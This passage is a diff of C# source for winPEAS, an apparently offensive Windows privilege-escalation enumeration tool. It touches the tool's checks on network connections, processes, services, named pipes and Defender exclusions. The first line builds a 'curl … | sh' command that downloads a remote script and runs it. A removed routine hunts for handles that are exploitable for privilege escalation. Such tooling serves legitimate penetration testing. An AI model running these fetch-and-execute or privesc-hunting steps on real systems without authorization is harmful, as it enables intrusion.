string linpeasCmd = $"curl {linpeasUrl} --silent | sh";
|
||||
string command = Environment.Is64BitProcess ?
|
||||
$@"bash -c ""{linpeasCmd}""" :
|
||||
Environment.GetEnvironmentVariable("WinDir") + $"\\SysNative\\bash.exe -c \"{linpeasCmd}\"";
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Helpers;
|
||||
|
||||
@@ -24,7 +25,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD"));
|
||||
object firewallObj = Activator.CreateInstance(firewall);
|
||||
object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes");
|
||||
result = $"{(FirewallProfiles)int.Parse(types.ToString())}";
|
||||
result = $"{(FirewallProfiles) int.Parse(types.ToString())}";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
|
||||
@@ -191,12 +191,12 @@ namespace winPEAS.Info.NetworkInfo
|
||||
foreach (var listener in props.GetActiveTcpListeners())
|
||||
{
|
||||
bool repeated = false;
|
||||
foreach (List<string> inside_entry in results)
|
||||
foreach(List<string> inside_entry in results)
|
||||
{
|
||||
if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" }))
|
||||
repeated = true;
|
||||
}
|
||||
if (!repeated)
|
||||
if (! repeated)
|
||||
results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" });
|
||||
}
|
||||
|
||||
@@ -337,7 +337,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
// Determine if IPv4 or IPv6.
|
||||
if (ipVersion == IPVersion.IPv4)
|
||||
{
|
||||
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
|
||||
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
|
||||
|
||||
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
||||
|
||||
@@ -348,12 +348,6 @@ namespace winPEAS.Info.NetworkInfo
|
||||
MIB_TCPROW_OWNER_PID tcpRow = (MIB_TCPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_TCPROW_OWNER_PID));
|
||||
|
||||
// Add row to list of TcpConnetions.
|
||||
string proc_name = GetProcessNameByPid(tcpRow.owningPid, processesByPid);
|
||||
if (proc_name == "Idle")
|
||||
{ //Sometime too many Idle connections that doesn't provide sensitive info
|
||||
continue;
|
||||
}
|
||||
|
||||
tcpTableRecords.Add(new TcpConnectionInfo(
|
||||
Protocol.TCP,
|
||||
new IPAddress(tcpRow.localAddr),
|
||||
@@ -366,14 +360,14 @@ namespace winPEAS.Info.NetworkInfo
|
||||
tcpRow.remotePort[0] }, 0),
|
||||
tcpRow.owningPid,
|
||||
tcpRow.state,
|
||||
proc_name));
|
||||
GetProcessNameByPid(tcpRow.owningPid, processesByPid)));
|
||||
|
||||
tableRowPtr = (IntPtr)((long)tableRowPtr + Marshal.SizeOf(tcpRow));
|
||||
}
|
||||
}
|
||||
else if (ipVersion == IPVersion.IPv6)
|
||||
{
|
||||
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
|
||||
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
|
||||
|
||||
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
||||
|
||||
@@ -383,12 +377,6 @@ namespace winPEAS.Info.NetworkInfo
|
||||
{
|
||||
MIB_TCP6ROW_OWNER_PID tcpRow = (MIB_TCP6ROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_TCP6ROW_OWNER_PID));
|
||||
|
||||
string proc_name = GetProcessNameByPid(tcpRow.owningPid, processesByPid);
|
||||
if (proc_name == "Idle")
|
||||
{ //Sometime too many Idle connections that doesn't provide sensitive info
|
||||
continue;
|
||||
}
|
||||
|
||||
tcpTableRecords.Add(new TcpConnectionInfo(
|
||||
Protocol.TCP,
|
||||
new IPAddress(tcpRow.localAddr, tcpRow.localScopeId),
|
||||
@@ -401,7 +389,7 @@ namespace winPEAS.Info.NetworkInfo
|
||||
tcpRow.remotePort[0] }, 0),
|
||||
tcpRow.owningPid,
|
||||
tcpRow.state,
|
||||
proc_name));
|
||||
GetProcessNameByPid(tcpRow.owningPid, processesByPid)));
|
||||
|
||||
tableRowPtr = (IntPtr)((long)tableRowPtr + Marshal.SizeOf(tcpRow));
|
||||
}
|
||||
@@ -461,14 +449,14 @@ namespace winPEAS.Info.NetworkInfo
|
||||
// Determine if IPv4 or IPv6.
|
||||
if (ipVersion == IPVersion.IPv4)
|
||||
{
|
||||
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID)Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
|
||||
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID) Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
|
||||
IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries));
|
||||
|
||||
// Read and parse the UDP records from the table and store them in list
|
||||
// 'UdpConnection' structure type objects.
|
||||
for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)
|
||||
{
|
||||
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
|
||||
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID) Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
|
||||
udpTableRecords.Add(new UdpConnectionInfo(
|
||||
Protocol.UDP,
|
||||
new IPAddress(udpRow.localAddr),
|
||||
|
||||
@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
|
||||
public struct MIB_UDP6TABLE_OWNER_PID
|
||||
{
|
||||
public uint dwNumEntries;
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)]
|
||||
public MIB_UDP6ROW_OWNER_PID[] table;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
|
||||
public struct MIB_UDPTABLE_OWNER_PID
|
||||
{
|
||||
public uint dwNumEntries;
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
|
||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)]
|
||||
public MIB_UDPROW_OWNER_PID[] table;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,19 +1,40 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Management;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading.Tasks;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Info.ProcessInfo
|
||||
{
|
||||
internal class ProcessesInfo
|
||||
{
|
||||
private static string GetProcU(Process p)
|
||||
{
|
||||
IntPtr pHandle = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
Advapi32.OpenProcessToken(p.Handle, 8, out pHandle);
|
||||
WindowsIdentity WI = new WindowsIdentity(pHandle);
|
||||
String uSEr = WI.Name;
|
||||
return uSEr.Contains(@"\") ? uSEr.Substring(uSEr.IndexOf(@"\") + 1) : uSEr;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (pHandle != IntPtr.Zero)
|
||||
{
|
||||
Kernel32.CloseHandle(pHandle);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TODO: check out https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10
|
||||
public static List<Dictionary<string, string>> GetProcInfo()
|
||||
{
|
||||
@@ -32,7 +53,7 @@ namespace winPEAS.Info.ProcessInfo
|
||||
Proc = p,
|
||||
Pth = (string)mo["ExecutablePath"],
|
||||
CommLine = (string)mo["CommandLine"],
|
||||
Owner = HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
|
||||
Owner = GetProcU(p), //Needed inside the next foreach
|
||||
};
|
||||
|
||||
foreach (var itm in queRy)
|
||||
@@ -53,16 +74,14 @@ namespace winPEAS.Info.ProcessInfo
|
||||
}
|
||||
if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
||||
{
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>
|
||||
{
|
||||
["Name"] = itm.Proc.ProcessName,
|
||||
["ProcessID"] = itm.Proc.Id.ToString(),
|
||||
["ExecutablePath"] = itm.Pth,
|
||||
["Product"] = companyName,
|
||||
["Owner"] = itm.Owner == null ? "" : itm.Owner,
|
||||
["isDotNet"] = isDotNet,
|
||||
["CommandLine"] = itm.CommLine
|
||||
};
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>();
|
||||
to_add["Name"] = itm.Proc.ProcessName;
|
||||
to_add["ProcessID"] = itm.Proc.Id.ToString();
|
||||
to_add["ExecutablePath"] = itm.Pth;
|
||||
to_add["Product"] = companyName;
|
||||
to_add["Owner"] = itm.Owner == null ? "" : itm.Owner;
|
||||
to_add["isDotNet"] = isDotNet;
|
||||
to_add["CommandLine"] = itm.CommLine;
|
||||
f_results.Add(to_add);
|
||||
}
|
||||
}
|
||||
@@ -75,165 +94,5 @@ namespace winPEAS.Info.ProcessInfo
|
||||
}
|
||||
return f_results;
|
||||
}
|
||||
|
||||
public static List<Dictionary<string, string>> GetVulnHandlers()
|
||||
{
|
||||
List<Dictionary<string, string>> vulnHandlers = new List<Dictionary<string, string>>();
|
||||
List<HandlesHelper.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX> handlers = HandlesHelper.GetAllHandlers();
|
||||
List<string> interestingHandlerTypes = new List<string>() { "file", "key", "process", "thread" }; //section
|
||||
|
||||
foreach (HandlesHelper.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX h in handlers)
|
||||
{
|
||||
// skip some objects to avoid getting stuck
|
||||
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
|
||||
if (h.GrantedAccess == 0x0012019f
|
||||
|| h.GrantedAccess == 0x00120189
|
||||
|| h.GrantedAccess == 0x120089
|
||||
|| h.GrantedAccess == 0x1A019F)
|
||||
continue;
|
||||
|
||||
IntPtr dupHandle;
|
||||
IntPtr _processHandle = Native.Kernel32.OpenProcess(HandlesHelper.ProcessAccessFlags.DupHandle | HandlesHelper.ProcessAccessFlags.QueryInformation, false, h.UniqueProcessId);
|
||||
|
||||
if (_processHandle == (IntPtr)0)
|
||||
continue;
|
||||
|
||||
uint status = (uint)Native.Ntdll.NtDuplicateObject(
|
||||
_processHandle,
|
||||
h.HandleValue,
|
||||
Native.Kernel32.GetCurrentProcess(),
|
||||
out dupHandle,
|
||||
0,
|
||||
false,
|
||||
HandlesHelper.DUPLICATE_SAME_ACCESS);
|
||||
|
||||
Native.Kernel32.CloseHandle(_processHandle);
|
||||
|
||||
if (status != 0)
|
||||
continue;
|
||||
|
||||
string typeName = HandlesHelper.GetObjectType(dupHandle).ToLower();
|
||||
if (interestingHandlerTypes.Contains(typeName))
|
||||
{
|
||||
HandlesHelper.VULNERABLE_HANDLER_INFO handlerExp = HandlesHelper.checkExploitaible(h, typeName);
|
||||
if (handlerExp.isVuln == true)
|
||||
{
|
||||
HandlesHelper.PT_RELEVANT_INFO origProcInfo = HandlesHelper.getProcInfoById((int)h.UniqueProcessId);
|
||||
if (!Checks.Checks.CurrentUserSiDs.ContainsKey(origProcInfo.userSid))
|
||||
continue;
|
||||
|
||||
string hName = HandlesHelper.GetObjectName(dupHandle);
|
||||
|
||||
Dictionary<string, string> to_add = new Dictionary<string, string>
|
||||
{
|
||||
["Handle Name"] = hName,
|
||||
["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")",
|
||||
["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName,
|
||||
["Reason"] = handlerExp.reason
|
||||
};
|
||||
|
||||
if (typeName == "process" || typeName == "thread")
|
||||
{
|
||||
HandlesHelper.PT_RELEVANT_INFO hInfo;
|
||||
if (typeName == "process")
|
||||
{
|
||||
hInfo = HandlesHelper.getProcessHandlerInfo(dupHandle);
|
||||
}
|
||||
|
||||
else //Thread
|
||||
{
|
||||
hInfo = HandlesHelper.getThreadHandlerInfo(dupHandle);
|
||||
}
|
||||
|
||||
// If the privileged access is from a proc to itself, or to a process of the same user, not a privesc
|
||||
if (hInfo.pid == 0 ||
|
||||
(int)h.UniqueProcessId == hInfo.pid ||
|
||||
origProcInfo.userSid == hInfo.userSid)
|
||||
continue;
|
||||
|
||||
to_add["Handle PID"] = hInfo.pid.ToString() + "(" + hInfo.userName + ")";
|
||||
}
|
||||
|
||||
else if (typeName == "file")
|
||||
{
|
||||
//StringBuilder filePath = new StringBuilder(2000);
|
||||
//HandlersHelper.GetFinalPathNameByHandle(dupHandle, filePath, 2000, 0);
|
||||
|
||||
HandlesHelper.FILE_NAME_INFO fni = new HandlesHelper.FILE_NAME_INFO();
|
||||
|
||||
// Sometimes both GetFileInformationByHandle and GetFileInformationByHandleEx hangs
|
||||
// So a timeput of 1s is put to the function to prevent that
|
||||
var task = Task.Run(() =>
|
||||
{
|
||||
// FILE_NAME_INFO (2)
|
||||
return Native.Kernel32.GetFileInformationByHandleEx(dupHandle, 2, out fni, (uint)Marshal.SizeOf(fni));
|
||||
});
|
||||
|
||||
bool isCompletedSuccessfully = task.Wait(TimeSpan.FromMilliseconds(1000));
|
||||
|
||||
if (!isCompletedSuccessfully)
|
||||
{
|
||||
//throw new TimeoutException("The function has taken longer than the maximum time allowed.");
|
||||
continue;
|
||||
}
|
||||
|
||||
string sFilePath = fni.FileName;
|
||||
if (sFilePath.Length == 0)
|
||||
continue;
|
||||
|
||||
List<string> permsFile = PermissionsHelper.GetPermissionsFile(sFilePath, Checks.Checks.CurrentUserSiDs, PermissionType.WRITEABLE_OR_EQUIVALENT);
|
||||
try
|
||||
{
|
||||
System.Security.AccessControl.FileSecurity fs = System.IO.File.GetAccessControl(sFilePath);
|
||||
IdentityReference sid = fs.GetOwner(typeof(SecurityIdentifier));
|
||||
string ownerName = sid.Translate(typeof(NTAccount)).ToString();
|
||||
|
||||
// If current user already have permissions over that file or the proc belongs to the owner of the file,
|
||||
// handler not interesting to elevate privs
|
||||
if (permsFile.Count > 0 || origProcInfo.userSid == sid.Value)
|
||||
continue;
|
||||
|
||||
to_add["File Path"] = sFilePath;
|
||||
to_add["File Owner"] = ownerName;
|
||||
}
|
||||
catch (System.IO.FileNotFoundException)
|
||||
{
|
||||
// File wasn't found
|
||||
continue;
|
||||
}
|
||||
catch (System.InvalidOperationException)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
else if (typeName == "key")
|
||||
{
|
||||
HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);
|
||||
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length > 0)
|
||||
continue;
|
||||
|
||||
RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);
|
||||
if (regKey == null)
|
||||
continue;
|
||||
|
||||
List<string> permsReg = PermissionsHelper.GetMyPermissionsR(regKey, Checks.Checks.CurrentUserSiDs);
|
||||
|
||||
// If current user already have permissions over that reg, handle not interesting to elevate privs
|
||||
if (permsReg.Count > 0)
|
||||
continue;
|
||||
|
||||
to_add["Registry"] = kri.hive + "\\" + kri.path;
|
||||
}
|
||||
|
||||
|
||||
vulnHandlers.Add(to_add);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return vulnHandlers;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
@@ -9,8 +8,10 @@ using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
using System.ServiceProcess;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.KnownFileCreds;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Info.ServicesInfo
|
||||
@@ -50,18 +51,17 @@ namespace winPEAS.Info.ServicesInfo
|
||||
|
||||
if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
||||
{
|
||||
Dictionary<string, string> toadd = new Dictionary<string, string>
|
||||
{
|
||||
["Name"] = GetStringOrEmpty(result["Name"]),
|
||||
["DisplayName"] = GetStringOrEmpty(result["DisplayName"]),
|
||||
["CompanyName"] = companyName,
|
||||
["State"] = GetStringOrEmpty(result["State"]),
|
||||
["StartMode"] = GetStringOrEmpty(result["StartMode"]),
|
||||
["PathName"] = GetStringOrEmpty(result["PathName"]),
|
||||
["FilteredPath"] = binaryPath,
|
||||
["isDotNet"] = isDotNet,
|
||||
["Description"] = GetStringOrEmpty(result["Description"])
|
||||
};
|
||||
Dictionary<string, string> toadd = new Dictionary<string, string>();
|
||||
|
||||
toadd["Name"] = GetStringOrEmpty(result["Name"]);
|
||||
toadd["DisplayName"] = GetStringOrEmpty(result["DisplayName"]);
|
||||
toadd["CompanyName"] = companyName;
|
||||
toadd["State"] = GetStringOrEmpty(result["State"]);
|
||||
toadd["StartMode"] = GetStringOrEmpty(result["StartMode"]);
|
||||
toadd["PathName"] = GetStringOrEmpty(result["PathName"]);
|
||||
toadd["FilteredPath"] = binaryPath;
|
||||
toadd["isDotNet"] = isDotNet;
|
||||
toadd["Description"] = GetStringOrEmpty(result["Description"]);
|
||||
|
||||
results.Add(toadd);
|
||||
}
|
||||
@@ -217,22 +217,18 @@ namespace winPEAS.Info.ServicesInfo
|
||||
{
|
||||
if (SIDs.ContainsKey(ace.SecurityIdentifier.ToString()))
|
||||
{
|
||||
string aceType = ace.AceType.ToString();
|
||||
if (!(aceType.Contains("Denied")))
|
||||
{ //https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.commonace?view=net-6.0
|
||||
int serviceRights = ace.AccessMask;
|
||||
string current_perm_str = PermissionsHelper.PermInt2Str(serviceRights, PermissionType.WRITEABLE_OR_EQUIVALENT_SVC);
|
||||
|
||||
string current_perm_str = PermissionsHelper.PermInt2Str(serviceRights, PermissionType.WRITEABLE_OR_EQUIVALENT_SVC);
|
||||
if (!string.IsNullOrEmpty(current_perm_str) && !permissions.Contains(current_perm_str))
|
||||
permissions.Add(current_perm_str);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (permissions.Count > 0)
|
||||
{
|
||||
string perms = String.Join(", ", permissions);
|
||||
if (perms.Replace("Start", "").Replace("Stop", "").Length > 3) //Check if any other permissions appart from Start and Stop
|
||||
if (perms.Replace("Start", "").Replace("Stop","").Length > 3) //Check if any other permissions appart from Start and Stop
|
||||
results.Add(sc.ServiceName, perms);
|
||||
}
|
||||
|
||||
@@ -249,9 +245,9 @@ namespace winPEAS.Info.ServicesInfo
|
||||
/////// Find Write reg. Services ////////
|
||||
//////////////////////////////////////////
|
||||
/// Find Services which Reg you have write or equivalent access
|
||||
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string, string> NtAccountNames)
|
||||
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string,string> NtAccountNames)
|
||||
{
|
||||
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||
List<Dictionary<string,string>> results = new List<Dictionary<string, string>>();
|
||||
try
|
||||
{
|
||||
RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services");
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
using Microsoft.Win32;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers.Registry;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
|
||||
@@ -4,13 +4,11 @@
|
||||
{
|
||||
public string Name { get; }
|
||||
public string Sddl { get; }
|
||||
public string CurrentUserPerms { get; }
|
||||
|
||||
public NamedPipeInfo(string name, string sddl, string currentUserPerms)
|
||||
public NamedPipeInfo(string name, string sddl)
|
||||
{
|
||||
Name = name;
|
||||
Sddl = sddl;
|
||||
CurrentUserPerms = currentUserPerms;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,7 +4,6 @@ using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
using winPEAS.Native;
|
||||
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.NamedPipes
|
||||
{
|
||||
internal class NamedPipes
|
||||
@@ -43,26 +42,22 @@ namespace winPEAS.Info.SystemInfo.NamedPipes
|
||||
foreach (var namedPipe in namedPipes)
|
||||
{
|
||||
string sddl;
|
||||
string currentUserPerms;
|
||||
bool isError = false;
|
||||
|
||||
try
|
||||
{
|
||||
var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}");
|
||||
sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);
|
||||
List<string> currentUserPermsList = Helpers.PermissionsHelper.GetMyPermissionsF(security, Checks.Checks.CurrentUserSiDs);
|
||||
currentUserPerms = string.Join(", ", currentUserPermsList);
|
||||
}
|
||||
catch
|
||||
{
|
||||
isError = true;
|
||||
sddl = "ERROR";
|
||||
currentUserPerms = "ERROR";
|
||||
}
|
||||
|
||||
if (!isError && !string.IsNullOrEmpty(sddl))
|
||||
{
|
||||
yield return new NamedPipeInfo(namedPipe, sddl, currentUserPerms);
|
||||
yield return new NamedPipeInfo(namedPipe, sddl);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics.Eventing.Reader;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
@@ -8,10 +7,9 @@ using System.Management;
|
||||
using System.Net;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Windows.Forms;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
using winPEAS.KnownFileCreds;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo
|
||||
{
|
||||
@@ -52,60 +50,6 @@ namespace winPEAS.Info.SystemInfo
|
||||
public static Dictionary<string, string> GetBasicOSInfo()
|
||||
{
|
||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
||||
|
||||
// Systeminfo from cmd to be able to use wes-ng
|
||||
///////////////////////////////////////////////
|
||||
|
||||
Process process = new Process();
|
||||
|
||||
// Configure the process to run the systeminfo command
|
||||
process.StartInfo.FileName = "systeminfo.exe";
|
||||
process.StartInfo.UseShellExecute = false;
|
||||
process.StartInfo.RedirectStandardOutput = true;
|
||||
|
||||
// Start the process
|
||||
process.Start();
|
||||
|
||||
// Read the output of the command
|
||||
string output = process.StandardOutput.ReadToEnd();
|
||||
|
||||
// Wait for the command to finish
|
||||
process.WaitForExit();
|
||||
|
||||
|
||||
// Split the output by newline characters
|
||||
string[] lines = output.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
|
||||
string osname = @".*?Microsoft[\(R\)]{0,3} Windows[\(R\)?]{0,3} ?(Serverr? )?(\d+\.?\d?( R2)?|XP|VistaT).*";
|
||||
string osversion = @".*?((\d+\.?){3}) ((Service Pack (\d)|N\/\w|.+) )?[ -\xa5]+ (\d+).*";
|
||||
// Iterate over each line and add key-value pairs to the dictionary
|
||||
foreach (string line in lines)
|
||||
{
|
||||
int index = line.IndexOf(':');
|
||||
if (index != -1)
|
||||
{
|
||||
string key = line.Substring(0, index).Trim();
|
||||
string value = line.Substring(index + 1).Trim();
|
||||
if (Regex.IsMatch(value, osname, RegexOptions.IgnoreCase))
|
||||
{
|
||||
results["OS Name"] = value;
|
||||
}
|
||||
//I have to find a better way. Maybe use regex from wes-ng
|
||||
if (Regex.IsMatch(value, osversion, RegexOptions.IgnoreCase))
|
||||
{
|
||||
results["OS Version"] = value;
|
||||
}
|
||||
|
||||
if (value.Contains("based PC"))
|
||||
{
|
||||
results["System Type"] = value;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// ENDING Systeminfo from cmd to be able to use wes-ng
|
||||
///////////////////////////////////////////////
|
||||
try
|
||||
{
|
||||
string ProductName = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ProductName");
|
||||
@@ -216,13 +160,9 @@ namespace winPEAS.Info.SystemInfo
|
||||
{
|
||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
||||
string whitelistpaths = "";
|
||||
|
||||
try
|
||||
{
|
||||
var keys = RegistryHelper.GetRegValues("HKLM", @"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths");
|
||||
if (keys != null)
|
||||
whitelistpaths = String.Join("\n ", keys.Keys);
|
||||
|
||||
whitelistpaths = String.Join("\n ", RegistryHelper.GetRegValues("HKLM", @"SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths").Keys);
|
||||
using (ManagementObjectSearcher wmiData = new ManagementObjectSearcher(@"root\SecurityCenter2", "SELECT * FROM AntiVirusProduct"))
|
||||
{
|
||||
using (var data = wmiData.Get())
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
@@ -15,7 +17,7 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
public WindowsDefenderSettings(string defenderBaseKeyPath)
|
||||
{
|
||||
PathExclusions = new List<string>();
|
||||
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{defenderBaseKeyPath}\\Exclusions\\Paths");
|
||||
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{ defenderBaseKeyPath}\\Exclusions\\Paths");
|
||||
if (pathExclusionData != null)
|
||||
{
|
||||
foreach (var kvp in pathExclusionData)
|
||||
|
||||
@@ -1,4 +1,10 @@
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||
{
|
||||
class WindowsDefenderSettingsInfo
|
||||
{
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Classes;
|
||||
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Net.NetworkInformation;
|
||||
using System.Security.Principal;
|
||||
using System.Text.RegularExpressions;
|
||||
using winPEAS.Helpers;
|
||||
|
||||
namespace winPEAS.Info.UserInfo
|
||||
@@ -112,7 +113,7 @@ namespace winPEAS.Info.UserInfo
|
||||
{ "520", "Group Policy Creator Owners" }, //A global group that is authorized to create new Group Policy objects in Active Directory. By default, the only member of the group is Administrator.
|
||||
{ "521", "Read-only Domain Controllers" }, //A global group. Members of this group are read-only domain controllers in the domain.
|
||||
{ "522", "Cloneable Domain Controllers" }, //A global group. Members of this group that are domain controllers may be cloned.
|
||||
{ "525", "Protected Users" }, //https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#protected-users
|
||||
{ "525", "Protected Users" }, //https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#protected-users
|
||||
